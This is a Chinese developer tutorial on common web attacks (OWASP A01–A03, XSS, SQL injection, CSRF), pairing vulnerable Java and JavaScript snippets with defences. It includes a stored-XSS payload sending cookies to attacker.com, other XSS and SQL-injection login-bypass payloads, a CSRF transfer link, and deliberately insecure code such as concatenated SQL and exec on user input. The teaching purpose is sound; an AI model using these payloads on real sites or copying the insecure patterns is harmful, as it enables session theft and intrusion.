我们在开发 Web 应用的时候有考虑过安全问题吗?比如用户密码、数据的泄露,服务被恶意代码攻击导致瘫痪等,攻击者可以通过应用程序中许多不同的路径方法去危害我们的业务或者企业组织。据统计,全球平均每39秒就发生一次网络攻击,而其中75%的突破口正是 Web 应用的安全漏洞。在这种背景下,全球性安全组织 OWASP(Open Web Application Security Project 开放网络应用安全项目) 发布了 Top 10 项目(每 3-4 年更新一次,目前最新版本是 2021 版)。
该项目列出了全球公认的十大最严重 Web 应用程序安全风险清单。旨在帮助开发人员、安全团队和企业优先关注对应用程序危害最大的安全威胁,并提供防御建议。
这篇文章从该清单前三项入手介绍一下 Web 应用常见攻击方式及防御措施(想了解完整 Top 10 清单的小伙伴👉http://www.owasp.org.cn/OWASP-CHINA/
注:本文后端代码以 Java 为例
A01:失效的访问控制(Broken Access Control)
指系统未能正确验证用户权限,导致攻击者可以越权访问敏感数据或执行危险操作
通常由以下原因导致:
- 未验证权限:直接信任用户请求中的参数(如 URL、Cookie)来决定权限
- 配置错误:默认开放高权限接口,或未限制敏感功能(如删除、管理员操作)
- 逻辑漏洞:通过修改参数(如用户 ID、角色标识)绕过权限检查
案例 1:水平越权(同角色用户互相访问)
用户 A 和用户 B 是普通用户,A 将 URL https://example.com/xxx?userId=123 改为 userId=456,直接查看用户 B 的数据
// 错误:直接使用用户传入的 ID 查询数据,未检查权限
String userId = request.getParameter("userId");
String sql = "SELECT * FROM orders WHERE user_id = " + userId;
案例 2:垂直越权(低权限用户访问高权限功能)
普通用户通过 Burp Suite 等工具直接调用 /admin/deleteUser 接口删除其他用户
// 错误:仅通过前端隐藏管理员按钮,但未在后端校验用户角色
@PostMapping("/admin/deleteUser")
public void deleteUser(String userId) {
userService.delete(userId);
}
防御措施(后端):
// 查询数据时绑定当前用户ID
String currentUserId = SecurityContext.getUser().getId();
String sql = "SELECT * FROM orders WHERE user_id = ?";
preparedStatement.setString(1, currentUserId); // 防止水平越权
- 使用 UUID 替代自增数字 ID / 对资源标识加密
防御措施(前端):
// 错误:在 URL 中传递用户 ID
window.location.href = `/user?userId=123`;
// 正确:通过加密 token 或后端 Session 管理
window.location.href = `/user`; // 后端通过 Cookie 或 JWT 识别用户
- 避免在 localStorage 中存储密码或 token
<!-- 对敏感字段禁用自动填充 -->
<input type="password" autocomplete="new-password">
A02:加密机制失效(Cryptographic Failures)
指在保护敏感数据(如密码、信用卡号、API密钥)时,因错误使用加密算法或不当管理密钥,导致数据易被窃取或破解
通常由以下原因导致:
- 使用弱加密算法:如 MD5、SHA-1、DES 等已被证明不安全的算法
- 明文存储或传输:敏感数据未加密(如密码明文存数据库)或通过 HTTP 明文传输
案例 1:弱哈希存储用户密码
用户密码用 MD5 哈希存储,无盐值(Salt)。攻击者通过彩虹表快速破解弱密码
// 错误:直接使用 MD5 哈希
import java.security.MessageDigest;
public class PasswordUtils {
public static String hashPassword(String password) throws Exception {
MessageDigest md = MessageDigest.getInstance("MD5");
byte[] hash = md.digest(password.getBytes());
return bytesToHex(hash); // e10adc3949ba59abbe56e057f20f883e
}
}
案例 2:HTTP 明文传输敏感数据
用户登录页未启用 HTTPS,密码通过 HTTP 传输。攻击者通过中间人攻击(如公共 Wi-Fi)窃听数据
// Spring Boot 未启用 HTTPS 的配置(application.properties)
server.port=80
server.ssl.enabled=false
防御措施(后端):
防御措施(前端):
- 避免前端处理敏感数据。直接传输明文密码(通过 HTTPS),由后端哈希和验证
A03:注入(Injection)
指攻击者通过将恶意代码/命令插入应用程序的输入参数中,欺骗后端执行非预期的操作
注入类型与攻击原理:
- SQL 注入:通过篡改 SQL 查询逻辑,绕过验证或窃取数据
- OS 命令注入:通过用户输入执行非法系统命令(如 rm -rf /)
- NoSQL 注入:针对 MongoDB 等数据库的查询参数篡改
- LDAP 注入:篡改 LDAP 查询语句,绕过目录服务认证
- 模板注入:在服务端模板(如 Thymeleaf)中插入恶意代码
案例 1:SQL 注入绕过登录验证
直接拼接用户输入到 SQL 语句,攻击者输入 username admin' --
// 错误:直接拼接 SQL
String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
// 最终 SQL
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...'
案例 2:OS 命令注入删除文件
直接执行用户输入的命令
// 错误:直接执行用户输入的命令
String fileName = request.getParameter("file");
Runtime.getRuntime().exec("rm " + fileName); // 删除用户指定的文件
防御措施(后端):
- SQL 注入防御:将用户输入视为数据而非代码,分离 SQL 逻辑与参数
- OS 命令注入防御:禁止直接执行用户输入,使用安全 API 替代命令行操作
// 正确:使用 Java 文件 API 替代 rm 命令
String fileName = request.getParameter("file");
if (!fileName.matches("[a-zA-Z0-9_]+")) { // 白名单校验文件名格式
throw new IllegalArgumentException("非法文件名");
}
Path path = Paths.get("/tmp/" + fileName);
Files.delete(path); // 使用 Java NIO 安全删除文件
- NoSQL 注入防御:使用类型安全的查询构造器(如 MongoDB 的 Filters)
防御措施(前端):
<!-- 只允许字母数字,禁止特殊符号 -->
<input type="text" pattern="[A-Za-z0-9]+" required>
// 使用 textContent 替代 innerHTML
document.getElementById("output").textContent = userInput;
// 使用 DOMPurify 过滤 HTML
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(userInput);
上面提到的三项是 OWASP 归类好的安全风险,不过面试官一般会问:常见的攻击方式有哪些?安全风险和攻击方式是两回事,安全风险里面包含了很多种攻击方式。
言归正传,我们还是需要了解一下具体的常见攻击方式,比如 XSS (Cross Site Scripting) 跨站脚本攻击 和 SQL 注入攻击 本质上同属于 A03 注入,但行为上有差别,CSRF(Cross-site request forgery)跨站请求伪造 属于 A01 失效的访问控制。下面单独讲一下这三种常见攻击方式:
一、XSS (Cross Site Scripting) 跨站脚本攻击
该攻击方式通常注入的恶意脚本是JS,当其他用户访问该页面时,浏览器会执行这些脚本,从而窃取用户数据、劫持会话或破坏页面功能
攻击类型与原理:
- 存储型 XSS(Stored XSS):恶意脚本被永久存储在目标服务器(如数据库、评论区),用户访问包含该脚本的页面时触发攻击
<!-- 攻击者在论坛评论中插入 -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
其他用户加载该评论时,浏览器自动发送当前用户的 Cookie 到攻击者服务器
- 反射型 XSS(Reflected XSS):恶意脚本通过 URL 参数传递给服务器,服务器未过滤直接返回给客户端执行。通常需要诱导用户点击恶意链接
<!-- 恶意链接 -->
https://example.com/search?q=<script>alert(1)</script>
<!-- 后端直接返回:-->
您搜索的关键词:<script>alert(1)</script>
用户点击链接后,脚本执行
- DOM 型 XSS(DOM-based XSS):前端 JavaScript 动态操作 DOM 时,未正确处理用户输入,导致恶意代码执行
// 从 URL 中读取参数并插入页面
const username = new URL(location.href).searchParams.get('user');
document.getElementById('welcome').innerHTML = `欢迎,${username}!`;
<!-- 攻击者构造 URL:-->
https://example.com?user=<img src=x onerror=alert(1)>
页面插入 <img>
标签后触发 onerror 事件,执行恶意代码
防御方式:
参考A03,XSS 防御的核心原则是“不信任任何用户输入”
// 使用 Jsoup 过滤 HTML 标签
import org.jsoup.Jsoup;
import org.jsoup.safety.Safelist;
public class XSSFilter {
public static String sanitize(String input) {
return Jsoup.clean(input, Safelist.basic()); // 允许基础标签(如 <b>, <i>)
}
}
// 使用示例
String safeInput = XSSFilter.sanitize(userInput);
- 输出编码:根据上下文(HTML/JS/URL)动态转义数据
<!-- Thymeleaf 默认转义 HTML -->
<div th:text="${userInput}"></div>
<!-- 禁用转义时需手动过滤 -->
<div th:utext="${XSSFilter.sanitize(userInput)}"></div>
- 禁用危险 API:避免在 Java 中直接返回未过滤的 JSON
// 错误:直接返回未过滤的 JSON
@GetMapping("/data")
public String getData(@RequestParam String input) {
return "{\"value\": \"" + input + "\"}"; // 可被注入 JavaScript
}
// 正确:使用 JSON 库(如 Jackson)自动转义
@GetMapping("/data")
public Map<String, String> getData(@RequestParam String input) {
return Map.of("value", input); // Jackson 自动转义特殊字符
}
二、SQL 注入攻击
该攻击方式注入的恶意脚本是 SQL 查询语句,执行非授权的数据库操作(如窃取数据、删除表、提升权限等)
攻击原理:
- 输入拼接:应用程序直接将用户输入拼接到 SQL 语句中
- 恶意构造:攻击者插入特殊字符(如 ', --, ;)或 SQL 片段,改变原查询逻辑
- 数据库执行:后端未校验输入,直接执行被篡改的 SQL 语句
防御方式:
- 参数化查询(PreparedStatement):将 SQL 语句与参数分离,用户输入视为数据而非代码
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username); // 参数下标从 1 开始
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
- 使用 ORM 框架(如 Hibernate):ORM 自动处理参数化,避免手动拼接 SQL
// Hibernate HQL 查询
String hql = "FROM User WHERE username = :username AND password = :password";
Query<User> query = session.createQuery(hql, User.class);
query.setParameter("username", username);
query.setParameter("password", password);
User user = query.uniqueResult();
- 输入白名单校验:限制输入格式,仅允许合法字符(如字母、数字)
public static boolean isValidInput(String input) {
return input.matches("^[a-zA-Z0-9_@.]+$"); // 允许字母、数字、@和.
}
-- 创建专用账号,仅允许 SELECT/INSERT/UPDATE
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
三、CSRF(Cross-site request forgery)跨站请求伪造
攻击者利用用户已登录的会话状态,诱导用户访问恶意页面,从而以用户身份发起非预期的请求(如转账、修改密码、更改邮箱等)。核心问题是后端未校验请求的合法性
攻击原理:
- 用户登录合法网站:用户登录 example.com,会话 Cookie 存储在浏览器中
- 用户访问恶意页面:攻击者诱导用户点击链接或访问包含恶意代码的页面(如钓鱼邮件、广告)
- 自动发起伪造请求:恶意页面自动向 example.com 发起请求(如转账操作),浏览器自动携带用户的 Cookie
- 后端执行非法操作:后端未校验请求来源,直接执行操作
防御方式:
防御核心是“验证请求是否来自合法来源”
- 使用 CSRF Token:为每个会话生成唯一 Token,嵌入表单或请求头,后端校验 Token 合法性
// Spring Security 配置
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf() // 启用 CSRF 防护
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
}
}
<input type="hidden" name="csrf" value="${csrf.token}">
// 转账前要求用户输入密码或验证码
function confirmTransfer() {
const password = prompt('请输入支付密码');
if (password) {
// 提交表单
}
}
<!-- 错误:GET 请求触发敏感操作 -->
<a href="https://bank.com/transfer?to=attacker&amount=100000">点击领奖</a>
<!-- 正确:仅用 POST 请求 -->
<form method="POST" action="/transfer">
<!-- 包含 CSRF Token -->
</form>
这篇文章如果作为纯粹的 Web 安全来看的话是比较片面的,实际上攻击方式远远不止这几个。前端开发的朋友简单了解一下最常见的安全问题还是有必要的,其余的当作扩展知识来对待就好。
阅读原文:原文链接
该文章在 2025/4/23 10:09:10 编辑过